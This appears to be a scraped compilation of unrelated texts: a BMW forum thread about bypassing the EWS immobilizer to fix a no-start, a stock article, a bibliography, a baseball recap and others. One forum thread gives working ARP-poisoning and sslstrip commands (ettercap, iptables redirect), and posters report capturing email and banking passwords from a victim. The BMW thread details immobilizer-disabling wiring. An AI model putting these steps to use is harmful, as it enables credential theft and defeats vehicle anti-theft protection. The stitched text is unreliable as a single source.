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EWS Delete / Bypass and no-start problem finally solved - VERY LONG read
Even though this relates to an E36, Im posting it here because it has the same M50 engine and electrical system as the E34.
This is the story of a BMW lovers journey through diagnosing and fixing a no-start situation. First of all, I want to express a sincere thanks to a fellow forum member, Roberto Baggio (aka RobertoBaggio20). I would have neither had the courage to do this nor would I have had the information necessary had it not been for Roberto. He found a link to a fellow that had information about bypassing the security system on the car. If I did not have this, I would not have been successful. So again, thanks Roberto.
My E36 would not start about 6 months or so ago. I was in no hurry to fix it as this is a spare car. I probably would have been done a lot sooner, but I had to have knee surgery in early December and that really slowed me down.
Now, on to the story. I have a 1995 325is with 236K miles. This has been a very good car and has only had about 4 no-start situations. The first was a failed fuel pump. This was before I joined the forum or knew anything about working on BMWs. I had it towed to a mechanic. He diagnosed it and replaced the fuel pump for around $400. I had an old 85 Mercedes 300D that I was not a bit afraid to work on. I would adjust valves and service the transmission etc., but I was always intimidated about working on the BMWs because (Im almost embarrassed to say this) I could not even find the darn spark plugs! I know, it was silly, but all I would do at first is change the oil. Anyway, I found Bimmerfest and as the saying goes, the rest is history.
The second no-start situation was a bad fuel pump relay. By this time I had found out about the Bentley manual and was well on my way to becoming a much more savvy DIYer. I removed the air filter and squirted a little starting fluid into the intake. It started for a couple of seconds, but would not respond to the throttle. I made a fused jumper with an on/off toggle switch per Bentley instructions and jumped the fuel pump relay socket and the car started and would run just fine. I replaced the fuel pump relay and all was well.
The third no-start situation was about 1 ½ years ago. At that time, I had followed my usual daily routine and turned the key to crank it, but I stuffed it, meaning I didnt let it fully catch before I let go of the key. After that, it would not crank. The first thing I checked was the fuel pump relay, but that was not the problem. I went through the usual routine of checking things, but it just wouldnt crank. I had no fault codes stored in the ECM. I messed with it for about an hour but it still would not crank. On the last try, it coughed a little and finally cranked. The frustrating part was, I never did figure out what caused it to not crank.
I continued to drive the car for another year with no problems. Then one day (a couple of days after a rather heavy snow fall), the wife got in the car and it wouldnt crank. It would turn over, but it would not catch and run. So, I started the usual process of diagnosing it thinking that it would be an easy fix. I was so, so wrong. First, I checked to see if the fuel pump was working. I pulled the seat and confirmed that I had voltage at the connector. I plugged it back in and proceeded to remove the fuel pump relay and use my jumper that I had made per Bentley specs. Sure enough, the fuel pump purred like a kitten. So, while the fuel pump relay was jumped, I tried to crank the car. It still would not start. Now I was thinking that I may have an electrical problem. However, to try to rule out a fuel delivery problem, I got out my trusty can of starting fluid. Yes, I know, one should not use much when attempting to start the car. It still would not crank with the starting fluid. Now I realized that I had a no-spark situation. I had never dealt with this on a modern car. I started doing research on the forum and Google. Next, again wanting to do the easiest thing, I put in a new DME relay and a new fuel pump relay. Still it would not crank. I checked the relay sockets (once I learned how to pull them up to get to the bottom of them) and they all seemed fine and had no corrosion.
I remembered a problem about E36s having a wet DME problem. So, I opened up the DME compartment, but it was dry as a bone. Next I suspected a failed crankshaft position sensor (CPS). I checked the resistance and it was about 500 ohms. Well, Bentley states on page 120-6 that it should be at 1280 + or 10% (BTW, I found out later that it was a misprint in Bentley. It should have said 540 + or 10%). So, I was way off or so I thought. I thought, okay, that must be it. I found a used one at a junk yard and bought it. When I got it home, it too was at about 500 ohms. I thought, great, now I have two bad CPSs. But it just seemed to defy the odds that two CPS sensors would be bad. So, I tested the one on my E34. What do you know? It too was about 500 ohms. I thought, well, if I put the used one on it and it doesnt crank, then I still cant say for sure that the CPS is not the problem because I cant be sure if the used one is good or not. So, I took the CPS off of my E34 (because I knew it was good since that car was running) and put it on the E36. It still would not crank. I put the original CPS back on and returned the borrowed CPS back on the E34 and it promptly fired up (remember this part for how it plays out later in the story).
Now I was becoming really frustrated and felt that I was reaching the limit of my knowledge and ability regarding diagnosing the problem. Just for kicks and giggles, I replaced the plugs. After all, they had (ahemm, clears throat) at minimum, 138K miles on them, but obviously they would not all fail at once. I decided to check the coils. They were getting proper voltage and had resistance within specs per the Bentley. But, I had no spark with trying to crank the car.
At this point, I basically narrowed the problem down to the DME. Thats usually not a big deal right? I mean, after all, you just go to a junk yard and get one or buy one on Craigs List. So, I started my research. Well, I was not too happy on what I was finding. You see, the 1995 325 is a unique car in that it is the first year that BMW put the EWS II security system on the car. This is a system whereby there is a very small chip in the ignition key. There is a EWS antenna ring around the ignition tumbler. The DME is paired with the key and the EWS module. When the proper key is inserted, the antenna receives the signal from the key chip, it is sent to a unit that amplifies the signal. That signal is read by the EWS module which communicates with the DME and gives the go ahead to allow the car to crank. If the incorrect key is used, then, when the key is turned, all of the gauges and such will come on, but the engine will not turn over. This was confirmed when a while back, I had the very early stages of the dreaded key spin. I tackled it as soon as I had the first signs of it so it was not bad to do. Anyway, I replaced my ignition tumbler and forgot to install the antenna ring. I tried to start the car and nothing. I just about left a big brown spot in my underwear until I realized that I forgot to re-install the antenna ring. Once I did, the car cranked fine. Whew!
Now, back to the story. The DME that is in my car is what is called a silver label DME. It is specifically for the EWS II car. So in researching, I found out that my options were pretty limited and the cost of repair was going to be quite a bit. A re-manufactured silver label DME was going to be almost $1200 from the dealer and on top of that, I would have to have the car towed to the dealer to have the new DME re-coded or re-synched to my specific car. Needless to say, I did not want to chunk down this kind of money on a 15 year old car with 236K miles. So I also looked into having mine re-built. I came across these guys at bmwdme.com. They will test the DME for $50. If there is no problem with it, they send it back to you after you pay the $50. If it is bad (assuming it is not massive damage from a fire, drowning or severe electrical shorting), they will repair it for $475. This was certainly better than the approximate $1300-$1400 it would cost with a remanufactured one (taking in to account the tow and labor at the BMW dealership for re-synching it).
Here is where Roberto really came in to the picture. He was kind enough to research this problem for me (without me asking him to do so BTW). He came across this fellows blog. His name is Richard. Here is the link: http://qcwo.com/technicaldomain/ews-deletion-chip. He communicated back with Roberto and advised that a standard red label 413 DME (for the 1992-1994 M50) would work if the EWS system is bypassed. Roberto forwarded the information to me. I started my search for a red label DME. I am located right between two gold mines in the form of Pull-A-Part junkyards. There prices are unbelievable. A DME would cost about $30. Only problem is, people know this and the on of the very first things that gets snagged is the DME. So I constantly searched for a red label DME. One day they put a VANOS M50 E34 on the lot. I got there the very same day, but the DME was gone. I also searched Craigs List. I finally found one from a 93 325i and got it for $60.
I had to remove the glove box to access the EWS module. Bentley leaves out one important information about a bolt that holds the glove box assembly in the car. It is a 10 mm bolt that is located above the glove box light. Pop the light out and you have easy access to it. Locating the EWS module was the next challenge as there are several modules in there. The instructions given were to cut wire #4 (green) and then cut and bridge wires #1 and #3. The wires are not labeled this way so it was a challenge to figure this out as well. With the assistance of the wiring diagram in the Bentley manual, I was able to determine which module it was (it was the module in the lowest bracket with a yellow connector) and locate which wire to cut (the green #4 wire is the very small, solid colored wire), and which wires to cut and bridge (#1 is black/yellow and #3 is green/black).
I consider myself an electrical moron, so I have to tell you, I was scared to start cutting and bridging wires. So, I cut the green wire #4 and capped off each end. I then cut wire #1 and #3 at the EWS module and spliced them together. I put the red label DME in the car. I turned the key and the dashboard lit up as usual, but the engine would not turn over. Remember me mentioning how the EWS was activated when I forgot to put the antenna ring back on the ignition tumbler when I replaced it? Well, I knew that the EWS was being activated because it was the exact same scenario. So, I also spliced wires #1 and #3 on the DME side as well. Again I tried to crank the car. This time the engine would turn over, but it still had no spark and would not crank. Now I was really ticked off and thinking that I had no chance of fixing this thing. So, I just put the wiring back to as it was from the factory and I put the silver label DME back in it with the intention of having it towed to my mechanic.
By chance, I thought I would get a used camshaft position sensor and replace it, but to my understanding, a bad camshaft position sensor will not cause a no-start situation, but can cause the car to run poorly. So, off I went to the Pull-A-Part and found an M50 that had had the intake removed, so it was a breeze to pull it. Due to weather and issues with my knee, I didnt work on the car for a couple of weeks. The other day it was nice out and my wife was doing some things and I commented to her that I had just decided to have it towed to my mechanic. My fear is that he would spend a couple of hours (at $80/hr.) just to diagnose it and he may well say it had a bad DME. So I would then have to send the DME off for a $475 repair. As I told her this, she said what about that wire you bought? I asked what wire? She said you know, the one you bought at the junk yard the other weekend. I was like oh yeah, the camshaft position sensor I pulled at the Pull-A-Part. So, I opened the hood and began trying to figure out how I was going to get the VANOS off so I could remove the sensor. As I looked around, I saw an electrical connector under the intake manifold that was not connected.
I traced it and found that it was the connector for the CPS. Remember earlier in the story when I took the CPS off of my E34 and put it on the E36 and it still would not crank? Earlier when I was swopping the CPS from my E34 to the E36 and it didnt work, I proceed to take the CPS back off and put it back on the E34. I bolted the original E36 CPS back on the front of the engine at the toothed wheel. Well guess what, I didnt re-connect the sensor (doh). I was like, well crap, that explains why it wouldnt crank with the red label DME. Just for kicks and giggles, I re-connected it and tried to crank the car with everything stock (silver label and stock EWS wiring set up). But just as expected, it would not crank and seemed to have no spark. So, I proceeded to do the red label DME swap again. I put it back in and re-did the EWS delete wiring bypass.
I tried to crank it again. It would not crank, but sounded like it wanted to. So I tried a one second squirt of the starting fluid in the intake at the MAF. I tried again and still no start, but it sounded like it wanted to crank even more. So, what the heck, if one second is good, two seconds should be better right? So, I gave a good two second squirt and tried again.
It did not crank up immediately, but just like something winding up, IT FINALLY CAUGHT !!!!. It ran rough for a couple of seconds, then smoothed right out. I didnt let it run long because I had not yet filled and bled the coolant system. I shut it off and waited about 5 minutes. I tried it again and it cranked up immediately. So in the end, it was the DME that was bad and the red label DME swap into an EWS II equipped car does indeed work. After about 6 months, the lifters were noisy on start up. This was due to leak down of the lifters over time. Also, the VANOS was rather noisy. After bleeding the coolant system and making sure everything was okay, I took it out for a short ride (7-8 miles) without revving beyond 2500 PRM. By this time the lifters had pumped back up and the VANOS quieted down.
Here are some morals of the story that I learned:
If you have the desire, persistence, a good repair manual, some decent tools and some basic mechanical skills, you can do most anything on the BMWs (well, at least the older models like E36, E34 and earlier). Realize however that you may have limitations on your abilities. Im not at the point that I would feel comfortable doing and R&R on a head gasket or head. Sometimes you just have to take it to a mechanic.
Dont be afraid to ask for help from other BMW owners who may have experienced the same problem. Listen to their input. This forum has some of the nicest and most knowledgeable people around.
Be willing to do research on the problem. Remember, Google is your friend. Search it and search this forum as a lot of the problems have been experienced before.
Dont just throw parts at a problem. Try to be methodical in your approach. Think things through thoroughly. If you get stumped or frustrated, take a step away from the vehicle (sounds like youre being arrested lol) and take a break. Take time to re-charge your batteries so to speak. Sometimes during that break a moment of clarity will come that will point you to the problem.
Always double check your work. Had I realized that I failed to re-connect the electrical connection side of the CPS, I would have had the car running a couple of weeks sooner.
I hope this long winded dissertation has or will help someone who faces a no-start situation.
Best regards,
Wow, nice job Steve! I admire your persistence! Glad you were able to get it back on the road. :thumbup::thumbup:
I really enjoyed the good read; excellent write-up! : popcorn:
That's a great write up of your problem and I'm sure someone with a similar problem will stumble upon this gold mine of detailed information.
Awesome!!:thumbup: Good info there. Thanks and congratulations!
im really glad i read this. these problems sound the same as the ones im experiencing right now
Hi Steve Sir,
Yes it was a saga. Thank you for being open minded enough to try the methods suggested.
Would like to add the following comments.
1. If you feel justified, please add the words " EWS Delete / No-start problem finally solved - VERY LONG read " to your subject header. The heart of this problem's solution was deleting the ews system. This is not obvious from your subject headline and so those searching for it might miss it.
2. Second, I wish to add that once we determined that this was the ECU that was screwed, my first suggestion to Steve sir was to purchase an install an EWS delete chip, off ebay. Such chips uncode the ecu's built in software that demands a check with the EWS system, and also come with a performance enhancing map. So its a two in one solution. It should only cost $40 shipped off ebay from the chippers but at the time we searched for this it wasn't available. Turner MS sold one for like $400 with a 30 day money back guarantee. It is an easy process to swop out the stock chip with a new one.
3. Buying a new EWS delete chip would have still involved purchasing a new DME, but we could then purchase a new silver label dme which would have originally been EWS coded for a different car and which, without the delete chip, would require recoding by the dealer.
4. Steve decided on the red label DME because (a) it was cheaper overall to purchase a red label vanos 325/525 dme and just mess with the EWS systems's wiring than #3 above, (b) He did not want to experiment with a performance enhancing chip on his car from an unknown source.
In my opinion, I would have not gone this way. I would have gone for a good used silver label dme and bought an EWS delete chip with performance enhancement off ebay. These chips are clones anyway. This would have cost around $120 total, instead of the $60 that purchasing a red label dme alone came up to. My philosophy with these cars is to try to turn every major problem into an opportunity to upgrade the car somehow, along with fixing the original problem. IMO this turns a repair into an upgrade, is more emotionally satisfying both during and after the repair when the benefits of the upgrade are experienced, and worth spending more money on. You can fool yourself into thinking that "oh my car is not giving me problems, I'm just upgrading it" or something like that....well its an emotional trick certainly in order to feel less pissed off that your car has just screwed you but it works for me. :)
5. I noticed that Steve sir had a reluctance to try unconventional methods with his car (the EWS delete procedure is decidedly unconventional - in the nearly 2 years I've been on bimmerfest, I've not read one single post or thread on this subject till this one). This is understandable as oftentimes, trying something new with an old car creates additional problems. However, i would urge everyone to suppress the fear that the idea generates, grit your teeth and do research about the unconventional idea before you decide its not worth the trouble. Ultimately, that's what Steve did, and as a result (in purely dollar terms), he's spent something like $60 on the pure repair aspect of this problem, instead of something like $700 on a remanned dme, 2 hours of workshop time, and towing charges.
I would like to point out that mechanics themselves are the ones who REALLY do not like to try unconventional solutions, because they are such idiots and don't have the guts to take on potential liability issues. If I was in this situation and had towed the car to a workshop, they certainly wouldn't be telling me about EWS deletes and stuff. So really, in certain aspects, the car is better off in the hands of a skilled DIYer than a mechanic.
I wish to thank Steve for his patience with his car, and for his extensive and valuable writeup above. I feel it is important to read this to scrutinise and understand both the mechanical and the psychological elements of his experience. It would do us all a world of good to integrate this into our approach to our vehicle. Even those members who are skilled with their cars would find his writeup to be a very useful reminder of the correct method to use in troubleshooting and solving obvious and inobvious problems with the car.
Cheers ! And please let us know how your car is after you go on a WOT run :)
Oh yes Sir, I've heard that gasoline left standing in a fuel tank for months will separate out into different fractions and possibly lead to unpredictable effects on the system. May I suggest a full fillup with fresh gas together with an immediate diesel FI cleaning as well to be on the safe side? Rgds.
Thanks Roberto for your continued support and suggestions. I knew there would be a couple of things I would forget. As you know well by now, I am very conservative by nature and it took a lot to for me to "step outside the box", but I'm glad I did.
Shortly after this response is posted, the thread title shall be changed per your excellent suggestion.
Roberto did suggest the EWS delete chip, but honestly I am wary of some items purchased from eBay such as electronic chips for $40. Roberto seems to be able to find these better than I anyway. Oh and BTW Roberto, silver label DME's are actually very rare. I never once saw one on CL and I don't recall seeing one on eBay the whole time I searched. If I had chosen to go the route of the silver label DME and delete chip combination, I would likely still be looking.
And Roberto, I am going to step outside of the box and do the diesel in the tank to help clear things up inside. So you see my friend, I can indeed step outside of my comfort zone, but my conservative side will not let me stray TOO far ;)
Thanks for all of the nice feedback guys.
congrats! :thumbup:
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Thanks for sharing the problem , trouble shooting and solution.
Hmm interesting. Thankfully I don't have this issue, just a missing properly coded key at the moment but it should be here in the next hour or so :D Another example of the kinds of issues that BMWs have that most cars will never have to experience. I guess it's part of the BMW experience
I'm currently experiencing the same silver DME trouble and just bought the red label DME. Judging from ur story and what you have done,EWS by pass sounds like a very simple stuff
Thanks for sharing ur experience and info
It's not really that bad. Let me know if I can be of any assistance. Good luck.
Does anyone know if these are the same directions for a 9/95 e34? Thanks!!!
Here is a very good document regarding the EWS system.
Let me know if I can help.
Just a bump for this thread. It deserves reading again, especially since someone here recently might have had an EWS issue. And I've been given honorable mention too. Hey there's a ham in all of us. :))
325i ews problem
Hi guys im new here, and i have similar problem with my car, 1st of all i buy this car no running, the guy told me that the car was running fine when he parked then next morning wont crank, so he replaced the ignition switch, and the car still dont crank( he never reprogamed the new key) so i install the old switch back on but the car still dont crank, so i cut the wires in the ews and put them together and i cut the other one mentioned above, and boom it cranks now :) but still wont start, seems like im not getting spark, so can you guys help me with that? Do i have to replace the ecu to red label to have the bypass working? I just dont wanna spend money on the chip if that is not the problem, so any advices on where to start? Thank you in advance guys
If the engine now turns over, then you have successfully bypassed the EWS. You will now have to go through a no-start diagnosis procedure. It is either a fuel supply issue or a spark issue. The diagnosis procedure is too long to go through in one short post, but, if you have some DIY skills, then search this forum for "Bentley manual". There is a link that you can download the manual. You need to go through it to learn how to diagnose the problem.
The most common causes of a no-start situation are: Failed crankshaft position sensor (CPS), failed fuel pump fuse, failed fuel pump relay, failed fuel pump, clogged fuel filter and failed main (DME) relay. If you rule out all other causes, then it is a possibility that the DME itself has failed. That is what happened with my E36 in the original post on this thread. Now that you have bypassed the EWS, a red label DME should work. Look for a used one in your area or you can get one off of E-bay usually.
I know this is not a full-on tutorial on how to check for each, but they are covered in the Bentley manual.
Hope this helps.
Well thats the problem... I dont know what label i have, if red or silver, if silver the bypass wont work? I was thinking more like i have to reprogram my transponder, but i have the original key nowThe car has no spark i dont know about fuel, i want to fix one problen at the time, other thing a found is the low beam head lights wont work so i dont know if thats related, thank you very much guys for your help and fast response
Wow, a wealth of knowledge in the original post. I definitely learned a few things, thanks Steve!
If you don't have spark (how did you determine this?) then the problem is pretty likely to be your crankshaft position sensor. Can't remember now but I don't think your car will crank without a working ecu. Can someone confirm this?
If that checks out ok, then I would look at the main (DME) relay. The best thing to do here is to get a new relay (about $45 from the dealer). Even if that is not the culprit, it is a good idea to have a spare in the car along with a spare fuel pump relay. Anyway, if you rule everything else out, then it is likely a failed DME. Since you have bypassed the DME, you should be able to put in a red label DME from any pre-95 M50 engined car (either E34 or E36).
Im a motorcycle mechanic, so i have tools to do the basic steps :) i have spark tester and there is no spark, wow i have to say this forum is the best one i ever been, very helpful people here thanks
Ok guys so i work on my car Couple hours today, i have haynes service manual and i have to say it really sucks, i cant find anything helpful.... Doesnt say how to check fuses or sensors or trace problems, so i just trow it and i worked on my own, i check all the relays and fuses one by one and are all good, i bypassed the fuel pump relay and i can hear the pump working, so i was like hmm, so i check the fuse again and is good BUT there is no power to the fuse, and of course still no spark, so to me sounds like the antitheft system is still on, what you guys think? Is there some way to check that? Like my other car (acura tl) it shows a light with a key on it when the antitheft is activated, so i believe the spark and fuel problems are related, symptoms of the antitheft right? actually im having fun trying to find the problem, now is getting personal and i like new challenges lol
Yako, if the anti-theft system (EWS II) is activiated, the car will not crank over. NOTHING will happen when you turn the key. If your engine is turning over, then the EWS is almost certainly bypassed.
It is beginning to sound like your DME may be bad. If the CPS is okay and the main relay is okay, then you should be getting spark. If you jump the fuel pump relay terminals and the pump runs, then (especially if you put in a new fuel pump relay) that, in combination with not having a spark, also leans towards a bad DME
The Haynes manual is woefully insufficient for diagnosing a no-start situation. Search this forum or Google for the Bentley manual. There is a link where you can download a copy in PDF format. Section 120 is where it sounds like you need to focus.
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Follow the bouncing walnut, investors. Diamond Foods' (NASDAQ:DMND) stock has taken us for a crazy ride for months, ever since the scandal surrounding its accounting practices broke in The Wall Street Journal on Sept. 27.
A few days after the report, Diamond's stock dropped 10%. A month passed without ado, then on Nov. 1, Diamond announced a massive deal to buy Pringles from Procter & Gamble (NYSE:PG) was delayed until the first half of 2012 because of an investigation by its audit committee about crop payments to walnut growers. Diamond sunk 20% the next day. Ever since then, Diamond has become a trader magnet, with DMND stock seeing 10 different days of 2 million-plus volume, and the past three days have seen a 50% gain and a 25% plunge. Where this ends is anyone's guess, but to look forward, we first have to take a glimpse back.
From Nuts to Snacks
Before its announcement in April that Diamond Foods was acquiring Pringles for $2.4 billion, few people had heard of the walnut grower. Until its IPO in 2005, Diamond Foods was a cooperative owned by northern California walnut growers with a history dating back to 1912. But the catalyst for change was current CEO Michael Mendes, who took the reins in 1997.
In 2004, Mendes put the company into the snack market by introducing Emerald nuts. In September 2008, DMND acquired General Mills' (NYSE:GIS) popcorn business for $190 million. Eighteen months later, it acquired premium potato chip manufacturer Kettle Foods for $615 million, putting Diamond squarely in the snack aisle of most grocery stores and in direct competition with PepsiCo's (NYSE:PEP) Frito Lay subsidiary.
In just a few years, Diamond had gone from sleepy walnut cooperative to a player in the snack food business with estimated revenues of more than $2.4 billion. This breakneck business pace pushed its stock from a longtime range of $15-$20 all the way to $96 in September of this year. Thus it's difficult to believe the timing of $50 million in payments to walnut growers could so drastically alter the valuation of its stock.
The New Deal
Walnut growers voted on July 1, 2005, to approve the conversion from co-op to public company. As part of the conversion, growers received a combination of $17.3 million in cash and 8.1 million shares in the new company. The IPO states:
"After the conversion, former Diamond Growers members will be able to choose to be both an owner of our business and a supplier of walnuts, solely an owner of our business, solely a supplier of walnuts, or neither an owner nor a supplier."
Growers that chose to continue supplying the company with walnuts signed "Walnut Purchase Agreements" of three-, five- or 10-year periods. Under the terms of the agreement they would deliver their harvest between September and November each year. Diamond then pays growers over the subsequent 15 months based on the price set by the company on March 31 of the following year, taking into account a number of factors including market conditions, quality of product, etc.
Vitally important is that the first two payments that growers receive are an estimate of the March 31 final price and therefore open to adjustment, which appears to be part of the focus in this accounting investigation. It's a little like your hydro bill in that some months are simply estimates while others are actual readings of your meter. Suffice it to say it would be easy for both the company and growers to get a little confused.
What Does All This Mean?
It is going to take a long time to unravel this mess. Diamond said Monday its fiscal first-quarter results would be delayed slightly because the audit committee wouldn't wrap up its investigation until mid-February, with the news sending DMND shares down 25%. This came just one trading day after Friday's 50% jump that came after a KeyBanc analyst said the investigation would wrap up quickly and the Pringles deal would continue.

subset: commoncrawl


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World of Naruto is based on the anime and manga Naruto created by Masashi Kishimoto. World of Naruto is a game that attempts to bring Masashi Kishimoto's universe to life. Every character in the series will appear in World of Naruto as a computer-con
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text:
Biographies of the artist include the memoir by his son, Pola Gauguin, My Father, Paul Gauguin, trans. by Arthur G. Chater (1937, reprinted 19882007; originally published in Norwegian, 1937); René Huyghe, Gauguin (1959, reissued 19881995; originally published in French, 1959); and Belinda ThompsonThomson, Gauguin (1987). A selection of Gauguin's writings is contained in Belinda Thomson (ed.), Gauguin by Himself (1993, reissued 2000). 2004). Exhibition catalogues include Heather Lemonedes et al., Paul Gauguin: The Breakthrough into Modernity (2009); and Belinda Thomson (ed.), Gauguin: Maker of Myth (2010). Contemporary critical assessments can be found in Marla Prather and Charles F. Stuckey (eds.), Gauguin: A Retrospective (1987, reissued 1989).
Studies of the artist's life and works include Richard Brettell et al., The Art of Paul Gauguin (1988); Françoise Cachin, Gauguin (1990; originally published in French, 1988), and Gauguin: The Quest for Paradise (1992, rev. and illustrated ed. (2003; originally published in French, 1989); and Vojtĕch Jirat-Wasiutyński and H. Travers Newton, Jr., Technique and Meaning in the Paintings of Paul Gauguin (2000).
Aspects of his time in Pont-Aven are explored in Władysława Jaworska, Gauguin and the Pont-Aven School, trans. from French (1972; originally published in Polish, 1969); and H.R. Rookmaaker, Synthesist Art Theories: Genesis and Nature of the Ideas on Art of Gauguin and His Circle (1959; also published as Gauguin and 19th Century Art Theory, 1972).
The artistic exchange between Gauguin and van Gogh is examined in Martin Gayford, The Yellow House: Van Gogh, Gauguin, and Nine Turbulent Weeks in Arles (2006); Douglas W. Druick et al., Van Gogh and Gauguin: The Studio of the South (2001), an exhibition catalogue; and Debora Silverman, Van Gogh and Gauguin: The Search for Sacred Art (2000); and a . A detailed look at their legendary quarrel can be found in Hans Kaufmann and Rita Wildegans, Van Gogh's Ohr: Paul Gauguin und der Pakt des Schweigens (2008; "Van Gogh's Ear: Paul Gauguin and the Pact of Silence").
Investigations of the influence of Oceanic cultures on Gauguin include Jehanne Teilhet-Fisk, Paradise Reviewed: An Intepretation of Gauguin's Polynesian Symbolism (1983); Nicholas Wadley (ed.), Noa Noa: Gauguin's Tahiti, trans. from French (1985); Bronwen Nicholson, Gauguin and Maori Art (1995); and Stephen F. Eisenman, Gauguin's Skirt (1997).
Gauguin's printmaking and drawing are treated in Caroline Boyle-Turner and Samuel Josefowitz, The Prints of the Pont-Aven School: Gauguin and His Circle in Britanny (1986); Elizabeth Mongan, Eberhard W. Kornfeld, and Harold Joachim, Paul Gauguin: Catalogue Raisonné of His Prints (1988); and Douglas W. Druick and Peter Zegers, Paul Gauguin: Pages from the Pacific (1995).
Gauguin's work with ceramics is explored in Christoper Gray, Sculpture and Ceramics of Paul Gauguin (1963, reissued 1980); and Merete Bodelsen, Gauguin's Ceramics: A Study in the Development of His Art (1964).


text: As always, enjoying your camera work. Rt72 east out of Hendricks is da bomb. Oh, I also saved one of those recently. He was crossing the street and taking his time. [/IMG] [/IMG] And a few weeks earlier relocated this feller off the gravel in Moshannon State Forest. Same snake in each photo, different lighting. For every critter save I get reward points from Enduro Dan.


text:
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text:
Errors guide Eagles past Tornados on Saturday, 10-4, 8-3March 12, 2011
Brevard drops series to visiting Carson-Newman
Brevard, N.C. - Ron Patterson had three hits and Randy O'Dell drove in four runs, but the Tornados were unable to overcome nine fielding errors, allowing Carson-Newman to score nine unearned runs as the Eagles swept the doubleheader on Saturday afternoon at Gil Coan Field.
The Tornados fall to 9-13 (2-9 SAC) on the season, while the Eagles improve to 10-16 (6-6 SAC).
Game One: Carson-Newman 10, Brevard 4
Box Score
The Tornados staked BC starter Brennan Daniels (3-2) to a three run lead in the bottom of the first, but the Eagles battled back, scoring nine unanswered runs as they took the first game of the doubleheader, 10-4.
Ryan Fillers (1-3) pitched 6.1 innings of relief in winning his first game of the season for the Eagles. Lance Rorex went 4-for-6 in the game and Jonathan Dalton added three hits, while Lucas Mohon had a game-tying three-run home run in the win. Randy O'Dell added three hits and three RBIs for the Tornados in the loss.
Brevard batted around in the bottom of the first as O'Dell drove a 1-1 pitch from Eagle starter Alex Britt over the left centerfield fence, scoring Derek Ham from first as the Tornados jumped ahead early. Ethan Pressley came around to score later in the inning on an error by the third baseman as Brevard went up 3-0 after one.
Carson-Newman cut into the lead, plating a runner in the fourth as Mason Guymon dropped down a bunt with the bases-loaded, scoring Mohon from third. However, Daniels escaped the inning only allowing the one run as he retired Lance Rorex on a groundout.
Brevard answered in the fourth as O'Dell brought home Ron Patterson on a fielder's choice to put the lead back to three, but the Eagles responded in the fifth as Mohon jumped on Daniels first pitch in his at-bat, driving the ball over the left centerfield fence, bringing home Wesley Dozier and Jonathan Dalton to tie the game up.
The Eagles added runs in the sixth and the seventh as Troy Zawadzki brought home Rorex with a base hit and Mason Gregory drove Dalton in with a double to expand the lead, but Carson-Newman put the game out of reach with four runs in the ninth.
Daniels suffers only his second loss of the season, throwing 6.2 innings, striking out four, while allowing five earned runs in the contest.
Game Two: Carson-Newman 8, Brevard 3
Box Score
Six unearned runs off of five Brevard College errors proved to be the difference in game two as the Tornados were unable to overcome the Eagles in the series sweep, 8-3.
Joseph Lepore (1-1) took the loss for the Tornados in the game, scattering six hits in five innings and striking out five. Robby Thigpen (3-2) went six innings for the Eagles, striking out five while allowing three runs.
The Eagles scored two in the top of the first as Dalton drove the ball down the left field line and over the BC bullpen behind the fence, scoring Dozier as Carson-Newman took the early 2-0 lead.
Carson-Newman added another in the third as Dalton brought home Vargas on a sacrifice fly, but the Tornados nearly tied the game up in the bottom half of the inning as Patterson drove a double down the left field line, scoring Ham from first base and O'Dell followed with a single, scoring Patterson as Brevard put the game at 3-2 after three.
The Eagles extended their lead in the fourth, taking advantage of two BC errors to plate four unearned runs in the inning with Dozier having the big hit in the inning with a bases-clearing double down the left field line.
Brevard added another run in the fifth as Pressley brought Myers home with a two-out single up the middle.
Carson-Newman added an insurance run in the sixth and Mike Mullen came in relief and retired the Tornados in order in the seventh to end the game.
Brevard remains at home this week as they host Erskine College on Wednesday afternoon at Gil Coan Field. First pitch of the nine-inning contest between the Tornados and the Flying Fleet is set for 3 p.m.


text:
There are a couple of posts in here about using SSLstrip with arpspoof. This is working fine with my BT3 box but it has some drawbacks
1- Arpspoof works on one target at a time, so if you are on a busy DHCP network, you have to use something like "netdiscover" in the passive mode and manually arpspoof new targets on the run.
2-You can use:
# arpspoof -i eth0 -t 192.168.0.255 192.168.0.1
where you arp spoof the whole C class of your subnet but guess what? The gateway will display an IP conflict warining message.
3- Arpspoof is compiled with "eth0" as the device to use, even if you use "-i eth1" the attack will fail. You have to modify the arp.c file and compile arpspoof again to make it work on other NIC names or search for a compiled binary that has this issue resolved...
I would suggest following the following steps ( from the readme file included with the sslstrip package)
a)Flip your machine into forwarding mode (as root):
echo "1" > /proc/sys/net/ipv4/ip_forward
b) Setup iptables to intercept HTTP requests (as root):
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port <yourListenPort>
c) Run sslstrip with the command-line options you'd like.
python sslstrip.py -k -p -l <yourListenPort>
And instead of using arpsoof use ettercap
d) Run ettercap to redirect traffic to your machine
ettercap -i eth1 -Tq -M ARP /192.168.0.1/ // // -P autoadd
We are telling ettercap to use "eth1", with terminal and quiet mode "-Tq" and use the arp poisoning attack "-M ARP". 192.168.0.1 is the gateway IP address and finally we are using the plugin autoadd to add new targets "-P autoadd".
Quoting from drakoth777
check out
take a look at the network-devices.rules, each nic has it's own mac address that is tied to a certain interface name(eth0, eth1, etc) you can change all that in the network rules file.
If you get this working, you have to rename the eth0 to something else before renaming eth1 to eth0, on the practical level ettercap is the right tool. Or if arpspoof is easier for you, download the binary available in the forum. Search for "sslstrip & arpspoof"
Thanks for the reply.... I don't mind using ettercap .... anyway...... for others information, the following code required slight change for me:
So, capital K & P were replaced by lower case.... btw i'm using BT3Code:python sslstrip.py -k -p -l <yourListenPort>
Not a problem at all......
OK, now some feedback on the efficiency of the script. I used BT3 as attacker & Vista Home SP1 as victim. After poisoning, BT3 can successfully capture mail user ID & passwords (like gmail.com, mail.com, yahoo.com) and internet banking ID & password (like lloydsTSB, Barclays, HSBC). However, the victim can't logon to internet bank account, even the 2nd secuirity check page does not come up. So, it seems that our online banking is still safe...... any comments?
I think it has been patched in both firefox & ie. Anybody thinks different??
If you can't explain it simply, you don't understand it well enough -- Albert Einstein
Working for me:
Firefox 3.5, Windows XP SP3
~ Have you, g0tmi1k? ~
:rolleyes: <(^^,)> :p d[-_^]b (= =D-->--< :eek:
What do banks have running that other SSL sites don't?
after failing with arpspoof - when i have eth1 and it only works with eth0 (otherwise it gives "arpspoof couldn't arp for host" error).
i tried ettercap and it works like a champ.
my victim's machine is xp sp3 with ie8. shows gmail accounts, bank accounts etc.
thanks for posting


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Joined: 13 Jan 2003
Posts: 157
Posted: Mon Jan 13, 2003 11:26 pm
Post subject: bug question
